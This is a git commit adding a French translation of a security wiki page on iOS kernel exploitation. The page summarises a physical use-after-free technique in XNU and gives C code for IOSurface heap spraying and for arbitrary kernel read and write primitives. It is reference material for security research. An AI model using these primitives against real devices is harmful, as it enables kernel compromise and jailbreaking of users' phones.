Translated ['binary-exploitation/ios-exploiting.md'] to fr

This commit is contained in:
Translator 2024-11-05 18:40:05 +00:00
parent 9fea6d023a
commit cc0f66b2f8
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Utilisation physique après libération
Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) de plus, des informations supplémentaires sur l'exploit utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestion de la mémoire dans XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
#### Niveaux des tables de pages dans iOS
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
1. **Table de pages L1 (Niveau 1)** :
* Chaque entrée ici représente une large plage de mémoire virtuelle.
* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle.
2. **Table de pages L2 (Niveau 2)** :
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo).
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
3. **Table de pages L3 (Niveau 3)** :
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
#### Mapping de la mémoire virtuelle à la mémoire physique
* **Mapping direct (Mapping par bloc)** :
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
* **Pointeur vers la table de pages enfant** :
* Si un contrôle plus fin est nécessaire, une entrée dans un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
#### Exemple : Mapping d'une adresse virtuelle
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
1. **Table L1** :
* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2.
2. **Table L2** :
* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, elle y procède.
3. **Table L3** :
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
#### Exemple de mapping d'adresse
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**.
* C'est un **mapping par bloc** au niveau L2.
Alternativement, si l'entrée L2 pointe vers une table L3 :
* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
### Utilisation physique après libération
Une **utilisation physique après libération** (UAF) se produit lorsque :
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
3. Le processus **désalloue** (libère) la mémoire.
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**.
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
### Stratégie d'exploitation : Spray de tas
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau.
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier.
3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**.
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Processus de spray de tas étape par étape
1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard :
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Recherchez des objets **`IOSurface`** dans une page physique libérée :
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**.
**Champs clés dans IOSurface**
L'objet IOSurface a deux champs cruciaux :
1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**.
2. **Pointeur d'horodatage indexé** : Permet une **écriture de 64 bits**.
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
#### Lecture du noyau de 32 bits
Pour effectuer une lecture :
1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Écriture du noyau 64 bits
Pour effectuer une écriture :
1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible.
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Récapitulatif du Flux d'Exploitation
1. **Déclencher une Utilisation-Après-Libération Physique** : Les pages libérées sont disponibles pour réutilisation.
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
4. **Abuser de l'Utilisation-Après-Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **kernel** arbitraire via les méthodes IOSurface.
Avec ces primitives, l'exploit fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).